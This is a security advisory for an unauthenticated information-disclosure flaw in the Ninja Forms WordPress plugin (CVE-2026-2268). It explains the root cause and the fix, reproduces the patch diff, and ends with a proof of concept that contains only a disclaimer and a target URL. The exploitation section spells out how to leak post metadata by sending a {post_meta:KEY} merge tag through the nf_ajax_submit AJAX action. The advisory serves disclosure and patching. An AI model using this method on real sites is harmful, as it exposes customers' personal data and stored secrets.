Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2268: Ninja Forms <= 3.14.0 – Unauthenticated Information Disclosure in nf_ajax_submit AJAX Action (ninja-forms)

CVE ID CVE-2026-2268
Plugin ninja-forms
Severity High (CVSS 7.5)
CWE 200
Vulnerable Version 3.14.0
Patched Version 3.14.1
Disclosed February 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2268:
The vulnerability is an unauthenticated information disclosure in the Ninja Forms WordPress plugin, affecting versions up to and including 3.14.0. The flaw resides in the plugin’s handling of merge tags within repeater field submissions via the nf_ajax_submit AJAX action. It allows attackers to extract arbitrary post metadata without authentication, exposing sensitive data such as WooCommerce billing emails, API keys, and customer information.

Root Cause:
The vulnerability originates in the `process_repeater_fields_merge_tags` method within the `Submission` AJAX controller (`ninja-forms/includes/AJAX/Controllers/Submission.php`, line 694). This method unsafely applies the `ninja_forms_merge_tags` filter to user-supplied input from repeater field submissions. The filter resolves merge tags like `{post_meta:KEY}` without performing authorization checks. The affected code path processes field values from `$this->_form_data[‘fields’][$field->get_id()][‘value’]` and passes them directly to `apply_filters(‘ninja_forms_merge_tags’, $data[‘value’])`. This allows an attacker to submit a crafted payload containing post_meta merge tags, which the plugin then resolves, retrieving the associated metadata from the database.

Exploitation:
An attacker exploits this by sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `nf_ajax_submit`. The request must include a form submission payload containing a repeater field. Within the repeater field’s submitted value, the attacker places a `{post_meta:KEY}` merge tag, where KEY is the meta_key of the target post metadata. The plugin’s AJAX handler processes this submission, resolves the merge tag via the unfiltered `apply_filters` call, and returns the sensitive metadata in the response. No authentication or nonce is required, making the attack fully unauthenticated.

Patch Analysis:
The patch, applied in version 3.14.1, completely disables merge tag processing on user-submitted data within repeater fields. The `process_repeater_fields_merge_tags` method in `Submission.php` now contains an empty function body with a security comment and an early return. The method no longer iterates through field values or applies the `ninja_forms_merge_tags` filter. This change prevents user-controlled input from triggering merge tag resolution. The patch also includes a related fix in `MergeTags.php` (line 72) to enable safe merge tag processing for success messages, ensuring legitimate admin-configured merge tags in success messages continue to function correctly.

Impact:
Successful exploitation allows unauthenticated attackers to read arbitrary post metadata from any post on the WordPress site. This includes sensitive WooCommerce customer data (billing emails, addresses), API keys, private tokens, and any other information stored as post meta. The vulnerability provides a direct channel for data exfiltration, potentially leading to privacy violations, account takeover via exposed tokens, and further system compromise if sensitive credentials are disclosed.

Differential between vulnerable and patched code

Code Diff
--- a/ninja-forms/blocks/bootstrap.php
+++ b/ninja-forms/blocks/bootstrap.php
@@ -125,14 +125,25 @@
     ]);

     // For block editor, provide a token that allows access to all forms
-    // This is safe because it's only loaded in admin context with proper capability checks
-    $token = NinjaFormsBlocksAuthenticationTokenFactory::make();
-    $publicKey = NinjaFormsBlocksAuthenticationKeyFactory::make();
-    $allFormIds = array_map(function($form) { return absint($form['formID']); }, $forms);
-
-    wp_localize_script('ninja-forms/submissions-table/block', 'ninjaFormsViews', [
-        'token' => $token->create($publicKey, $allFormIds),
-    ]);
+    // SECURITY: Only users with appropriate capability can receive tokens for viewing submissions
+    // This prevents Contributors/Authors from accessing form submission data via the REST API
+    //
+    // Uses ninja_forms_admin_submissions_capabilities filter for consistency with Submissions menu
+    // Additional filter ninja_forms_views_token_capability allows specific customization for Views API
+    $views_capability = apply_filters(
+        'ninja_forms_views_token_capability',
+        apply_filters( 'ninja_forms_admin_submissions_capabilities', 'manage_options' )
+    );
+
+    if ( current_user_can( $views_capability ) ) {
+        $token = NinjaFormsBlocksAuthenticationTokenFactory::make();
+        $publicKey = NinjaFormsBlocksAuthenticationKeyFactory::make();
+        $allFormIds = array_map(function($form) { return absint($form['formID']); }, $forms);
+
+        wp_localize_script('ninja-forms/submissions-table/block', 'ninjaFormsViews', [
+            'token' => $token->create($publicKey, $allFormIds),
+        ]);
+    }
 });

 /**
@@ -164,9 +175,15 @@
         $tokenHeader = $request->get_header('X-NinjaFormsViews-Auth');
         $formId = $request->get_param('id');

-        // If user is logged in and has manage_options capability, allow access
+        // If user is logged in and has appropriate capability, allow access
         // This provides fallback for admin users
-        if (is_user_logged_in() && current_user_can('manage_options')) {
+        // Uses same capability filter as token generation for consistency
+        $views_capability = apply_filters(
+            'ninja_forms_views_token_capability',
+            apply_filters( 'ninja_forms_admin_submissions_capabilities', 'manage_options' )
+        );
+
+        if (is_user_logged_in() && current_user_can($views_capability)) {
             return true;
         }

@@ -190,8 +207,13 @@
             $formsBuilder = (new NinjaFormsBlocksDataBuilderFormsBuilderFactory)->make();
             $allForms = $formsBuilder->get();

-            // If user has manage_options capability, return all forms
-            if (is_user_logged_in() && current_user_can('manage_options')) {
+            // If user has appropriate capability, return all forms
+            $views_capability = apply_filters(
+                'ninja_forms_views_token_capability',
+                apply_filters( 'ninja_forms_admin_submissions_capabilities', 'manage_options' )
+            );
+
+            if (is_user_logged_in() && current_user_can($views_capability)) {
                 return $allForms;
             }

@@ -270,36 +292,69 @@
     /**
      * Token Refresh Endpoint
      *
-     * Generates a new token scoped to requested form IDs.
+     * Generates a new token scoped to the same form ID as the previous token.
      * Used for automatic token refresh when tokens expire or after secret rotation.
      *
-     * FIX: Restricts token generation to single forms and validates form access
+     * SECURITY: Requires the old token to be provided. This ensures:
+     * - Only tokens that were legitimately issued can be refreshed
+     * - Tokens can only be refreshed for the same form ID
+     * - No reliance on spoofable Referer headers
      */
     register_rest_route('ninja-forms-views', 'token/refresh', array(
         'methods' => 'POST',
         'callback' => function (WP_REST_Request $request) {
-            // REFACTOR: Accept single formID instead of formIds array
+            $tokenValidator = NinjaFormsBlocksAuthenticationTokenFactory::make();
+
+            // SECURITY: Require the old token for refresh
+            // This prevents attackers from generating tokens without having a legitimate one first
+            $oldToken = $request->get_header('X-NinjaFormsViews-Auth');
+            if (!$oldToken) {
+                return new WP_Error(
+                    'missing_token',
+                    __('A valid token is required for refresh. Include the current token in X-NinjaFormsViews-Auth header.', 'ninja-forms'),
+                    array('status' => 401)
+                );
+            }
+
+            // Validate the old token's signature (allows expired tokens for refresh)
+            // This ensures the token was legitimately issued by this site
+            if (!$tokenValidator->validateSignatureOnly($oldToken)) {
+                return new WP_Error(
+                    'invalid_token',
+                    __('The provided token is invalid or has been tampered with.', 'ninja-forms'),
+                    array('status' => 403)
+                );
+            }
+
+            // Extract form IDs from the old token - these are the only forms allowed for refresh
+            $authorizedFormIds = $tokenValidator->getFormIds($oldToken);
+            if ($authorizedFormIds === false || empty($authorizedFormIds)) {
+                return new WP_Error(
+                    'invalid_token_payload',
+                    __('Could not extract form authorization from token.', 'ninja-forms'),
+                    array('status' => 403)
+                );
+            }
+
+            // Get the requested form ID (optional - defaults to first form in old token)
             $formId = $request->get_param('formID');
-
+
             // Check for legacy formIds parameter for backward compatibility
             if (!$formId && $request->get_param('formIds')) {
                 $formIds = $request->get_param('formIds');
                 if (is_array($formIds) && !empty($formIds)) {
-                    // Only accept single form from legacy array
-                    if (count($formIds) > 1) {
-                        return new WP_Error(
-                            'too_many_form_ids',
-                            __('Token generation is limited to one form at a time. Please use formID parameter instead.', 'ninja-forms'),
-                            array('status' => 400)
-                        );
-                    }
                     $formId = $formIds[0];
                 }
             }

-            // Sanitize and validate form ID
+            // If no form ID specified, use the first (and typically only) form from old token
+            if (!$formId) {
+                $formId = $authorizedFormIds[0];
+            }
+
+            // Sanitize form ID
             $formId = absint($formId);
-
+
             if (!$formId) {
                 return new WP_Error(
                     'invalid_form_id',
@@ -308,97 +363,23 @@
                 );
             }

-            // FIX: Validate that the form exists and is accessible
-            $form = Ninja_Forms()->form( $formId )->get();
-            if (!$form) {
-                return new WP_Error(
-                    'form_not_found',
-                    __('The requested form does not exist', 'ninja-forms'),
-                    array('status' => 404)
-                );
-            }
-
-            // FIX: Validate that user has permission to access this form
-            // This prevents users from generating tokens for arbitrary forms
-            $referer = wp_get_referer();
-            if (!$referer) {
+            // SECURITY: Verify the requested form ID was in the old token
+            // This prevents upgrading a single-form token to access other forms
+            if (!in_array($formId, array_map('intval', $authorizedFormIds), true)) {
                 return new WP_Error(
-                    'invalid_request',
-                    __('Request must come from a valid page with submissions table block', 'ninja-forms'),
+                    'unauthorized_form_access',
+                    __('The requested form was not authorized in your original token.', 'ninja-forms'),
                     array('status' => 403)
                 );
             }

-            // Parse the referring page to validate block authorization
-            $post_id = url_to_postid($referer);
-            if (!$post_id) {
-                // Handle front page, archives, etc.
-                $parsed_url = parse_url($referer);
-                if ($parsed_url['path'] === '/' || $parsed_url['path'] === home_url('/')) {
-                    $post_id = get_option('page_on_front');
-                }
-            }
-
-            // Check if the form is actually embedded in a submissions table block on this page
-            if ($post_id) {
-                $post = get_post($post_id);
-                $is_public = is_post_publicly_viewable( $post );
-
-                // If post is public _and_ password-protected, but user hasn't provided a valid password
-                if( $is_public && post_password_required( $post ) ) {
-                    return new WP_Error(
-                        'unauthorized_form_access',
-                        __('You do not have permission to access this form via this page', 'ninja-forms'),
-                        array('status' => 403)
-                    );
-                }
-
-                // If post is private or just generally not public, and logged-in user cannot read it
-                if( ! $is_public && ! current_user_can( 'read_post', $post ) ) {
-                    return new WP_Error(
-                        'unauthorized_form_access',
-                        __('You do not have permission to access this form via this page', 'ninja-forms'),
-                        array('status' => 403)
-                    );
-                }
-
-                if ($post && has_blocks($post->post_content)) {
-                    $blocks = parse_blocks($post->post_content);
-                    $found_authorized_form = false;
-
-                    // Recursively search for ninja-forms/submissions-table blocks
-                    $search_blocks = function($blocks) use ($formId, &$found_authorized_form, &$search_blocks) {
-                        foreach ($blocks as $block) {
-                            if ($block['blockName'] === 'ninja-forms/submissions-table') {
-                                if (isset($block['attrs']['formID']) &&
-                                    intval($block['attrs']['formID']) === $formId) {
-                                    $found_authorized_form = true;
-                                    return;
-                                }
-                            }
-                            // Search inner blocks recursively
-                            if (!empty($block['innerBlocks'])) {
-                                $search_blocks($block['innerBlocks']);
-                            }
-                        }
-                    };
-
-                    $search_blocks($blocks);
-
-                    if (!$found_authorized_form) {
-                        return new WP_Error(
-                            'unauthorized_form_access',
-                            __('You do not have permission to access this form via this page', 'ninja-forms'),
-                            array('status' => 403)
-                        );
-                    }
-                }
-            } else {
-                // If we can't determine the post ID, return an error
+            // Validate that the form still exists
+            $form = Ninja_Forms()->form($formId)->get();
+            if (!$form) {
                 return new WP_Error(
-                    'post_id_not_found',
-                    __('The requested data could not be related to a valid page', 'ninja-forms'),
-                    array('status' => 403)
+                    'form_not_found',
+                    __('The requested form does not exist', 'ninja-forms'),
+                    array('status' => 404)
                 );
             }

@@ -411,7 +392,7 @@
                 'token' => $newToken,
                 'publicKey' => $publicKey,
                 'expiresIn' => 900, // 15 minutes in seconds
-                'formID' => $formId, // Changed from formIds to formID
+                'formID' => $formId,
             );
         },
         'permission_callback' => function (WP_REST_Request $request) {
@@ -426,7 +407,7 @@
                 return $rateLimitCheck; // Returns 429 Too Many Requests
             }

-            return true; // Public endpoint (rate-limited) but with form validation
+            return true; // Rate-limited, but token validation happens in callback
         },
     ));

--- a/ninja-forms/blocks/views/includes/Authentication/Token.php
+++ b/ninja-forms/blocks/views/includes/Authentication/Token.php
@@ -1,124 +1,189 @@
-<?php
-
-namespace NinjaFormsBlocksAuthentication;
-
-/**
- * Creates an encoded public/private key hash and validates it.
- *
- * Security improvements:
- * - Tokens are bound to specific form IDs
- * - Tokens include expiration timestamps (15 minutes)
- * - Validation checks both authenticity and authorization
- */
-class Token {
-
-    /** @var string */
-    protected $privateKey;
-
-    /** @var int Token expiration time in seconds */
-    const TOKEN_EXPIRATION = 900; // 15 minutes
-
-    /**
-     * @param string $privateKey
-     */
-    public function __construct( $privateKey ) {
-        $this->privateKey = $privateKey;
-    }
-
-    /**
-     * Create a token bound to specific form IDs with expiration.
-     *
-     * @param string $publicKey
-     * @param array $formIds Array of form IDs this token can access
-     *
-     * @return string
-     */
-    public function create( $publicKey, $formIds = array() ) {
-        $expiration = time() + self::TOKEN_EXPIRATION;
-        $payload = json_encode( array(
-            'formIds' => array_map( 'intval', $formIds ),
-            'exp' => $expiration
-        ) );
-
-        $hash = $this->hash( $publicKey, $payload );
-        return base64_encode( $hash . ':' . $publicKey . ':' . $payload );
-    }
-
-    /**
-     * Validate token authenticity and check if it grants access to a specific form.
-     *
-     * @param string $token
-     * @param int|null $formId Form ID to check access for (null to only validate token structure)
-     *
-     * @return bool
-     */
-    public function validate( $token, $formId = null ) {
-        // If the token is malformed, then list() may return an undefined index error.
-        // Pad the exploded array to add missing indexes.
-        // Limit explode to 3 parts to handle colons in payload JSON
-        list( $hash, $publicKey, $payload ) = array_pad( explode( ':', base64_decode( $token ), 3 ), 3, false );
-
-        // Validate token structure and hash
-        if ( ! hash_equals( $hash, $this->hash( $publicKey, $payload ) ) ) {
-            return false;
-        }
-
-        // Decode and validate payload
-        $data = json_decode( $payload, true );
-        if ( ! is_array( $data ) || ! isset( $data['formIds'] ) || ! isset( $data['exp'] ) ) {
-            return false;
-        }
-
-        // Check expiration
-        if ( time() > $data['exp'] ) {
-            return false;
-        }
-
-        // If a specific form ID is requested, check authorization
-        if ( $formId !== null ) {
-            if ( ! in_array( intval( $formId ), $data['formIds'], true ) ) {
-                return false;
-            }
-        }
-
-        return true;
-    }
-
-    /**
-     * Extract form IDs from a token without full validation.
-     * Used for debugging/logging purposes only.
-     *
-     * @param string $token
-     *
-     * @return array|false Array of form IDs or false on failure
-     */
-    public function getFormIds( $token ) {
-        // Limit explode to 3 parts to handle colons in payload JSON
-        $parts = explode( ':', base64_decode( $token ), 3 );
-
-        // Token format: hash:publicKey:payload
-        // We only need the payload (3rd part)
-        if ( count( $parts ) < 3 ) {
-            return false;
-        }
-
-        $payload = $parts[2];
-        $data = json_decode( $payload, true );
-        return isset( $data['formIds'] ) ? $data['formIds'] : false;
-    }
-
-    /**
-     * Generate HMAC hash for token validation using hash_hmac().
-     *
-     * Uses HMAC-SHA256 which is cryptographically stronger than simple
-     * concatenation and prevents length extension attacks.
-     *
-     * @param string $publicKey
-     * @param string $payload
-     *
-     * @return string
-     */
-    protected function hash( $publicKey, $payload = '' ) {
-        return hash_hmac( 'sha256', $publicKey . $payload, $this->privateKey );
-    }
+<?php
+
+namespace NinjaFormsBlocksAuthentication;
+
+/**
+ * Creates an encoded public/private key hash and validates it.
+ *
+ * Security improvements:
+ * - Tokens are bound to specific form IDs
+ * - Tokens include expiration timestamps (15 minutes)
+ * - Validation checks both authenticity and authorization
+ */
+class Token {
+
+    /** @var string */
+    protected $privateKey;
+
+    /** @var int Token expiration time in seconds */
+    const TOKEN_EXPIRATION = 900; // 15 minutes
+
+    /** @var int Maximum token length in bytes (security: prevent memory exhaustion DoS) */
+    const MAX_TOKEN_LENGTH = 8192; // 8KB is generous for typical tokens
+
+    /** @var int Maximum age past expiration for token refresh (security: limit refresh window) */
+    const MAX_REFRESH_AGE = 86400; // 24 hours - tokens older than this cannot be refreshed
+
+    /**
+     * @param string $privateKey
+     */
+    public function __construct( $privateKey ) {
+        $this->privateKey = $privateKey;
+    }
+
+    /**
+     * Create a token bound to specific form IDs with expiration.
+     *
+     * @param string $publicKey
+     * @param array $formIds Array of form IDs this token can access
+     *
+     * @return string
+     */
+    public function create( $publicKey, $formIds = array() ) {
+        $expiration = time() + self::TOKEN_EXPIRATION;
+        $payload = json_encode( array(
+            'formIds' => array_map( 'intval', $formIds ),
+            'exp' => $expiration
+        ) );
+
+        $hash = $this->hash( $publicKey, $payload );
+        return base64_encode( $hash . ':' . $publicKey . ':' . $payload );
+    }
+
+    /**
+     * Validate token authenticity and check if it grants access to a specific form.
+     *
+     * @param string $token
+     * @param int|null $formId Form ID to check access for (null to only validate token structure)
+     *
+     * @return bool
+     */
+    public function validate( $token, $formId = null ) {
+        // Security: Validate token size before decoding to prevent memory exhaustion DoS
+        if ( ! is_string( $token ) || strlen( $token ) > self::MAX_TOKEN_LENGTH ) {
+            return false;
+        }
+
+        // If the token is malformed, then list() may return an undefined index error.
+        // Pad the exploded array to add missing indexes.
+        // Limit explode to 3 parts to handle colons in payload JSON
+        list( $hash, $publicKey, $payload ) = array_pad( explode( ':', base64_decode( $token ), 3 ), 3, false );
+
+        // Validate token structure and hash
+        if ( ! hash_equals( $hash, $this->hash( $publicKey, $payload ) ) ) {
+            return false;
+        }
+
+        // Decode and validate payload
+        $data = json_decode( $payload, true );
+        if ( ! is_array( $data ) || ! isset( $data['formIds'] ) || ! isset( $data['exp'] ) ) {
+            return false;
+        }
+
+        // Check expiration
+        if ( time() > $data['exp'] ) {
+            return false;
+        }
+
+        // If a specific form ID is requested, check authorization
+        if ( $formId !== null ) {
+            if ( ! in_array( intval( $formId ), $data['formIds'], true ) ) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Validate token signature and structure without checking expiration.
+     * Used for token refresh - allows refreshing expired but authentic tokens.
+     *
+     * @param string $token
+     * @param int|null $formId Form ID to check access for (null to only validate signature)
+     *
+     * @return bool True if token signature is valid (regardless of expiration)
+     */
+    public function validateSignatureOnly( $token, $formId = null ) {
+        // Security: Validate token size before decoding to prevent memory exhaustion DoS
+        if ( ! is_string( $token ) || strlen( $token ) > self::MAX_TOKEN_LENGTH ) {
+            return false;
+        }
+
+        // If the token is malformed, then list() may return an undefined index error.
+        list( $hash, $publicKey, $payload ) = array_pad( explode( ':', base64_decode( $token ), 3 ), 3, false );
+
+        // Validate token structure and hash (signature check)
+        if ( ! $hash || ! $publicKey || ! $payload ) {
+            return false;
+        }
+
+        if ( ! hash_equals( $hash, $this->hash( $publicKey, $payload ) ) ) {
+            return false;
+        }
+
+        // Decode and validate payload structure
+        $data = json_decode( $payload, true );
+        if ( ! is_array( $data ) || ! isset( $data['formIds'] ) || ! isset( $data['exp'] ) ) {
+            return false;
+        }
+
+        // Security: Limit how old a token can be for refresh
+        // This prevents indefinite refresh of tokens from logs/browser history
+        if ( time() > $data['exp'] + self::MAX_REFRESH_AGE ) {
+            return false;
+        }
+
+        // If a specific form ID is requested, check authorization
+        if ( $formId !== null ) {
+            if ( ! in_array( intval( $formId ), $data['formIds'], true ) ) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Extract form IDs from a token without full validation.
+     * Used for debugging/logging purposes only.
+     *
+     * @param string $token
+     *
+     * @return array|false Array of form IDs or false on failure
+     */
+    public function getFormIds( $token ) {
+        // Security: Validate token size before decoding to prevent memory exhaustion DoS
+        if ( ! is_string( $token ) || strlen( $token ) > self::MAX_TOKEN_LENGTH ) {
+            return false;
+        }
+
+        // Limit explode to 3 parts to handle colons in payload JSON
+        $parts = explode( ':', base64_decode( $token ), 3 );
+
+        // Token format: hash:publicKey:payload
+        // We only need the payload (3rd part)
+        if ( count( $parts ) < 3 ) {
+            return false;
+        }
+
+        $payload = $parts[2];
+        $data = json_decode( $payload, true );
+        return isset( $data['formIds'] ) ? $data['formIds'] : false;
+    }
+
+    /**
+     * Generate HMAC hash for token validation using hash_hmac().
+     *
+     * Uses HMAC-SHA256 which is cryptographically stronger than simple
+     * concatenation and prevents length extension attacks.
+     *
+     * @param string $publicKey
+     * @param string $payload
+     *
+     * @return string
+     */
+    protected function hash( $publicKey, $payload = '' ) {
+        return hash_hmac( 'sha256', $publicKey . $payload, $this->privateKey );
+    }
 }
 No newline at end of file
--- a/ninja-forms/blocks/views/includes/DataBuilder/FieldsBuilder.php
+++ b/ninja-forms/blocks/views/includes/DataBuilder/FieldsBuilder.php
@@ -18,11 +18,11 @@
     }

     protected function toArray( $field ) {
-        extract( $field );
+        // Security: Use explicit array access instead of extract() to prevent variable overwriting attacks
         return [
-            'id' => $id,
-            'label' => $label,
-            'type' => $type
+            'id' => $field['id'] ?? null,
+            'label' => $field['label'] ?? '',
+            'type' => $field['type'] ?? ''
         ];
     }
 }
 No newline at end of file
--- a/ninja-forms/blocks/views/includes/DataBuilder/FormsBuilder.php
+++ b/ninja-forms/blocks/views/includes/DataBuilder/FormsBuilder.php
@@ -19,10 +19,10 @@
     }

     protected function toArray( $form ) {
-        extract($form);
+        // Security: Use explicit array access instead of extract() to prevent variable overwriting attacks
         return [
-            'formID' => $id,
-            'formTitle' => $title,
+            'formID' => $form['id'] ?? null,
+            'formTitle' => $form['title'] ?? '',
         ];
     }
 }
--- a/ninja-forms/blocks/views/includes/DataBuilder/SubmissionsBuilder.php
+++ b/ninja-forms/blocks/views/includes/DataBuilder/SubmissionsBuilder.php
@@ -49,14 +49,18 @@

         /**
          * Basic File Uploads support.
-         *
+         *
          * Auto-detect a file uploads value, by format, as a serialized array.
          * @note using a preliminary `is_serialized()` check to determine
          *       if the value is from File Uploads, since we do not have
          *       access to the field information in this context.
+         *
+         * Security: Use allowed_classes => false to prevent PHP object instantiation
+         * which could lead to object injection attacks (CVE potential).
          */
         if (is_serialized($value)) {
-            $unserialized = unserialize($value);
+            // Safely unserialize with object instantiation disabled to prevent RCE
+            $unserialized = unserialize($value, ['allowed_classes' => false]);
             if (is_array($unserialized)) {

                 // This is the default value assuming it is a file upload
--- a/ninja-forms/includes/AJAX/Controllers/Submission.php
+++ b/ninja-forms/includes/AJAX/Controllers/Submission.php
@@ -694,18 +694,19 @@

      /**
      * Process fields merge tags for fields inside a repeater fieldset
-     *
+     *
      * @param object $field The Repeater Fieldset
-     *
+     *
+     * @since 3.14.1 Disabled merge tag processing on user-submitted values
+     *               to prevent unauthenticated information disclosure.
+     *               See: https://github.com/Saturday-Drive/ninja-forms/issues/7838
      */
     protected function process_repeater_fields_merge_tags( $field ){
-        //Compare the Repeater field passed calling the function with the array of fields values from the submission object
-        foreach( $this->_form_data['fields'][$field->get_id()]['value'] as $id => $data ){
-            //Check if field is a Repeater Field
-            if( Ninja_Forms()->fieldsetRepeater->isRepeaterFieldByFieldReference($id) && !empty($data['value']) && is_string($data['value']) ) {
-                //Merge tags in the Repeater Field Sub Fields values
-                $this->_form_data['fields'][$field->get_id()]['value'][$id]['value'] = apply_filters( 'ninja_forms_merge_tags', $data['value'] );
-            }
-        }
+        // SECURITY FIX: Do not process merge tags on user-submitted data.
+        // Merge tags (e.g., {post_meta:KEY}) in user input could expose
+        // sensitive information to unauthenticated attackers.
+        // Merge tag resolution should only occur on admin-configured content
+        // (email templates, success messages, calculations), not on form submissions.
+        return;
     }
 }
--- a/ninja-forms/includes/Abstracts/MergeTags.php
+++ b/ninja-forms/includes/Abstracts/MergeTags.php
@@ -72,7 +72,7 @@
                 $subject['payment_total'] = substr_replace($subject['payment_total'], ':calc', -1, 0);
             }

-            if( 'email' == $subject['type'] ) {
+            if( 'email' == $subject['type'] || 'successmessage' == $subject['type'] ) {
                 $this->use_safe = true;
             } else {
                 $this->use_safe = false;
--- a/ninja-forms/includes/Actions/SuccessMessage.php
+++ b/ninja-forms/includes/Actions/SuccessMessage.php
@@ -65,10 +65,10 @@

             if ($ob) {
                 $data['debug']['console'][] = sprintf(esc_html__('Shortcodes should return and not echo, see: %s', 'ninja-forms'), 'https://codex.wordpress.org/Shortcode_API#Output');
-                $data['actions']['success_message'] .= $action_settings['success_msg'];
+                $data['actions']['success_message'] .= wp_kses_post($action_settings['success_msg']);
             } else {
                 $message = do_shortcode($action_settings['success_msg']);
-                $data['actions']['success_message'] .= wpautop($message);
+                $data['actions']['success_message'] .= wp_kses_post(wpautop($message));
             }
         }

--- a/ninja-forms/includes/Admin/Menus/Forms.php
+++ b/ninja-forms/includes/Admin/Menus/Forms.php
@@ -329,7 +329,9 @@
         wp_enqueue_style( 'jBox', Ninja_Forms::$url . 'assets/css/jBox.css' );
         wp_enqueue_style( 'codemirror', Ninja_Forms::$url . 'assets/css/codemirror.css' );
         wp_enqueue_style( 'codemirror-monokai', Ninja_Forms::$url . 'assets/css/monokai-theme.css' );
-        wp_enqueue_style( 'summernote', Ninja_Forms::$url . 'assets/css/summernote-lite.min.css' );
+        wp_enqueue_style( 'quill-core', Ninja_Forms::$url . 'assets/css/quill.core.css' );
+        wp_enqueue_style( 'quill-snow', Ninja_Forms::$url . 'assets/css/quill.snow.css' );
+        wp_enqueue_style( 'quill-custom', Ninja_Forms::$url . 'assets/css/quill-custom.css' );

         /**
          * JS Libraries
@@ -352,7 +354,7 @@
         wp_enqueue_script( 'codemirror', Ninja_Forms::$url . 'assets/js/lib/codemirror.min.js', array( 'jquery', 'nf-builder-deps' ) );
         wp_enqueue_script( 'codemirror-xml', Ninja_Forms::$url . 'assets/js/lib/codemirror-xml.min.js', array( 'jquery', 'codemirror' ) );
         wp_enqueue_script( 'codemirror-formatting', Ninja_Forms::$url . 'assets/js/lib/codemirror-formatting.min.js', array( 'jquery', 'codemirror' ) );
-        wp_enqueue_script( 'summernote', Ninja_Forms::$url . 'assets/js/lib/summernote-lite.min.js', array( 'jquery', 'nf-builder-deps' ) );
+        wp_enqueue_script( 'quill', Ninja_Forms::$url . 'assets/js/lib/quill.min.js', array( 'jquery', 'nf-builder-deps' ) );


         wp_enqueue_script( 'nf-builder', Ninja_Forms::$url . 'assets/js/min/builder.js', array( 'jquery', 'jquery-ui-core', 'jquery-ui-draggable', 'jquery-ui-droppable', 'jquery-ui-sortable', 'jquery-effects-bounce', 'wp-color-picker' ), $this->ver );
--- a/ninja-forms/includes/Display/Render.php
+++ b/ninja-forms/includes/Display/Render.php
@@ -874,7 +874,9 @@
                 wp_enqueue_media();
             }

-            wp_enqueue_style( 'summernote',         $css_dir . 'summernote-lite.min.css'   , $ver );
+            wp_enqueue_style( 'quill-core',         $css_dir . 'quill.core.css'   , $ver );
+            wp_enqueue_style( 'quill-snow',         $css_dir . 'quill.snow.css'   , $ver );
+            wp_enqueue_style( 'quill-custom',       $css_dir . 'quill-custom.css' , $ver );
             wp_enqueue_style( 'codemirror',         $css_dir . 'codemirror.css'   , $ver );
             wp_enqueue_style( 'codemirror-monokai', $css_dir . 'monokai-theme.css', $ver );
             wp_enqueue_script('nf-front-end--rte', $js_dir . 'front-end--rte.min.js', array( 'jquery' ), $ver );
--- a/ninja-forms/includes/Templates/admin-menu-new-form.html.php
+++ b/ninja-forms/includes/Templates/admin-menu-new-form.html.php
@@ -1023,7 +1023,7 @@
 </script>

 <script id="tmpl-nf-rte-link-dropdown" type="text/template">
-    <div class="summernote-link">
+    <div class="rte-link">
         URL
         <input type="url" class="widefat code link-url"> <br />
         Text
--- a/ninja-forms/ninja-forms.php
+++ b/ninja-forms/ninja-forms.php
@@ -3,7 +3,7 @@
 Plugin Name: Ninja Forms
 Plugin URI: http://ninjaforms.com/?utm_source=WordPress&utm_medium=readme
 Description: Ninja Forms is a webform builder with unparalleled ease of use and features.
-Version: 3.14.0
+Version: 3.14.1
 Author: Saturday Drive
 Author URI: http://ninjaforms.com/?utm_source=Ninja+Forms+Plugin&utm_medium=Plugins+WP+Dashboard
 Text Domain: ninja-forms
@@ -43,7 +43,7 @@
      * @since 3.0
      */

-    const VERSION = '3.14.0';
+    const VERSION = '3.14.1';

     /**
      * @since 3.4.0
--- a/ninja-forms/vendor/composer/installed.php
+++ b/ninja-forms/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'saturday-drive/ninja-forms',
-        'pretty_version' => 'dev-e236c3cd7af8a264e1b17155c7a46434d4ebbfd6',
-        'version' => 'dev-e236c3cd7af8a264e1b17155c7a46434d4ebbfd6',
-        'reference' => 'e236c3cd7af8a264e1b17155c7a46434d4ebbfd6',
+        'pretty_version' => 'dev-c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
+        'version' => 'dev-c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
+        'reference' => 'c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'saturday-drive/ninja-forms' => array(
-            'pretty_version' => 'dev-e236c3cd7af8a264e1b17155c7a46434d4ebbfd6',
-            'version' => 'dev-e236c3cd7af8a264e1b17155c7a46434d4ebbfd6',
-            'reference' => 'e236c3cd7af8a264e1b17155c7a46434d4ebbfd6',
+            'pretty_version' => 'dev-c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
+            'version' => 'dev-c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
+            'reference' => 'c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2268 - Ninja Forms <= 3.14.0 - Unauthenticated Information Disclosure in nf_ajax_submit AJAX Action
<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

